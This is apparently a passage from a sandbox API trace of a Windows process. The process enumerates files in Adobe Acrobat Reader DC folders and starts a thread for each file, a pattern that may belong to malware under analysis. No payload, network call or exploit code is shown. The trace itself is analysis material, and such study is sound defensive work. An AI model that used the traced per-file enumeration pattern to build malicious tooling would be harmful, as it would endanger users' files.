	[0089.745] wcscat (in: _Dest=0x481b220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.745] wcscat (in: _Dest=0x481b220, _Source="stop_collection_data.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\stop_collection_data.gif"
	[0089.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e20
	[0089.745] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1
	[0089.745] wcscmp (_String1="submission_history.gif", _String2=".") returned 1
	[0089.745] wcscmp (_String1="submission_history.gif", _String2="..") returned 1
	[0089.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a980
	[0089.745] wcscpy (in: _Dest=0x481a980, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.745] wcscat (in: _Dest=0x481a980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.745] wcscat (in: _Dest=0x481a980, _Source="submission_history.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\submission_history.gif"
	[0089.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e24
	[0089.746] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1
	[0089.746] wcscmp (_String1="tl.gif", _String2=".") returned 1
	[0089.746] wcscmp (_String1="tl.gif", _String2="..") returned 1
	[0089.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30968
	[0089.746] wcscpy (in: _Dest=0x4e30968, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.746] wcscat (in: _Dest=0x4e30968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.746] wcscat (in: _Dest=0x4e30968, _Source="tl.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tl.gif"
	[0089.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e30968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e28
	[0089.748] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1
	[0089.748] wcscmp (_String1="tr.gif", _String2=".") returned 1
	[0089.748] wcscmp (_String1="tr.gif", _String2="..") returned 1
	[0089.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30410
	[0089.748] wcscpy (in: _Dest=0x4e30410, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.748] wcscat (in: _Dest=0x4e30410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.748] wcscat (in: _Dest=0x4e30410, _Source="tr.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\tr.gif"
	[0089.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e30410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e2c
	[0089.748] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1
	[0089.748] wcscmp (_String1="trash.gif", _String2=".") returned 1
	[0089.748] wcscmp (_String1="trash.gif", _String2="..") returned 1
	[0089.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e30670
	[0089.749] wcscpy (in: _Dest=0x4e30670, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.749] wcscat (in: _Dest=0x4e30670, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.749] wcscat (in: _Dest=0x4e30670, _Source="trash.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\trash.gif"
	[0089.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e30670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e30
	[0089.749] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1
	[0089.749] wcscmp (_String1="turnOffNotificationInAcrobat.gif", _String2=".") returned 1
	[0089.749] wcscmp (_String1="turnOffNotificationInAcrobat.gif", _String2="..") returned 1
	[0089.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49256a8
	[0089.749] wcscpy (in: _Dest=0x49256a8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.749] wcscat (in: _Dest=0x49256a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.749] wcscat (in: _Dest=0x49256a8, _Source="turnOffNotificationInAcrobat.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif"
	[0089.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49256a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e34
	[0089.750] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1
	[0089.750] wcscmp (_String1="turnOffNotificationInTray.gif", _String2=".") returned 1
	[0089.750] wcscmp (_String1="turnOffNotificationInTray.gif", _String2="..") returned 1
	[0089.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2dda0
	[0089.750] wcscpy (in: _Dest=0x4f2dda0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.750] wcscat (in: _Dest=0x4f2dda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.750] wcscat (in: _Dest=0x4f2dda0, _Source="turnOffNotificationInTray.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif"
	[0089.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2dda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e38
	[0089.751] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~1.GIF")) returned 1
	[0089.751] wcscmp (_String1="turnOnNotificationInAcrobat.gif", _String2=".") returned 1
	[0089.751] wcscmp (_String1="turnOnNotificationInAcrobat.gif", _String2="..") returned 1
	[0089.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925b58
	[0089.751] wcscpy (in: _Dest=0x4925b58, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.751] wcscat (in: _Dest=0x4925b58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.751] wcscat (in: _Dest=0x4925b58, _Source="turnOnNotificationInAcrobat.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif"
	[0089.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4925b58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e3c
	[0089.752] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~2.GIF")) returned 1
	[0089.752] wcscmp (_String1="turnOnNotificationInTray.gif", _String2=".") returned 1
	[0089.752] wcscmp (_String1="turnOnNotificationInTray.gif", _String2="..") returned 1
	[0089.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d860
	[0089.752] wcscpy (in: _Dest=0x4f2d860, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.752] wcscat (in: _Dest=0x4f2d860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.752] wcscat (in: _Dest=0x4f2d860, _Source="turnOnNotificationInTray.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif"
	[0089.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2d860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e40
	[0089.753] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1
	[0089.753] wcscmp (_String1="warning.gif", _String2=".") returned 1
	[0089.753] wcscmp (_String1="warning.gif", _String2="..") returned 1
	[0089.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894d20
	[0089.753] wcscpy (in: _Dest=0x4894d20, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.753] wcscat (in: _Dest=0x4894d20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.753] wcscat (in: _Dest=0x4894d20, _Source="warning.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif"
	[0089.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e44
	[0089.754] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 0
	[0089.754] FindClose (in: hFindFile=0x477b328 | out: hFindFile=0x477b328) returned 1
	[0089.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf548) returned 1
	[0089.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d240) returned 1
	[0089.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498dd68) returned 1

Thread:
	id = 784
	os_tid = 0x1b6c

	[0079.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ee48
	[0079.459] wcscpy (in: _Dest=0x476ee48, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes"
	[0079.459] wcscat (in: _Dest=0x476ee48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\"
	[0079.459] wcscat (in: _Dest=0x476ee48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*"
	[0079.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddd600
	[0079.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8a8
	[0087.380] wcscmp (_String1=".", _String2=".") returned 0
	[0087.380] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.380] wcscmp (_String1="..", _String2=".") returned 1
	[0087.380] wcscmp (_String1="..", _String2="..") returned 0
	[0087.381] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1acb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DarkTheme.acrotheme", cAlternateFileName="DARKTH~1.ACR")) returned 1
	[0087.381] wcscmp (_String1="DarkTheme.acrotheme", _String2=".") returned 1
	[0087.381] wcscmp (_String1="DarkTheme.acrotheme", _String2="..") returned 1
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5d408
	[0087.381] wcscpy (in: _Dest=0x2d5d408, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes"
	[0087.381] wcscat (in: _Dest=0x2d5d408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\"
	[0087.381] wcscat (in: _Dest=0x2d5d408, _Source="DarkTheme.acrotheme" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\DarkTheme.acrotheme") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\DarkTheme.acrotheme"
	[0089.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5d408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4
	[0089.756] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 1
	[0089.756] wcscmp (_String1="LightTheme.acrotheme", _String2=".") returned 1
	[0089.756] wcscmp (_String1="LightTheme.acrotheme", _String2="..") returned 1
	[0089.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5e068
	[0089.756] wcscpy (in: _Dest=0x2d5e068, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes"
	[0089.756] wcscat (in: _Dest=0x2d5e068, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\"
	[0089.756] wcscat (in: _Dest=0x2d5e068, _Source="LightTheme.acrotheme" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\LightTheme.acrotheme") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\LightTheme.acrotheme"
	[0089.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e48
	[0089.757] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 0
	[0089.757] FindClose (in: hFindFile=0x477a8a8 | out: hFindFile=0x477a8a8) returned 1
	[0089.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddd600) returned 1
	[0089.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ee48) returned 1
	[0089.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d9b0) returned 1

Thread:
	id = 785
	os_tid = 0x1b70

	[0079.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d78ed0
	[0079.460] wcscpy (in: _Dest=0x2d78ed0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources"
	[0079.460] wcscat (in: _Dest=0x2d78ed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\"
	[0079.460] wcscat (in: _Dest=0x2d78ed0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*"
	[0079.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddad0
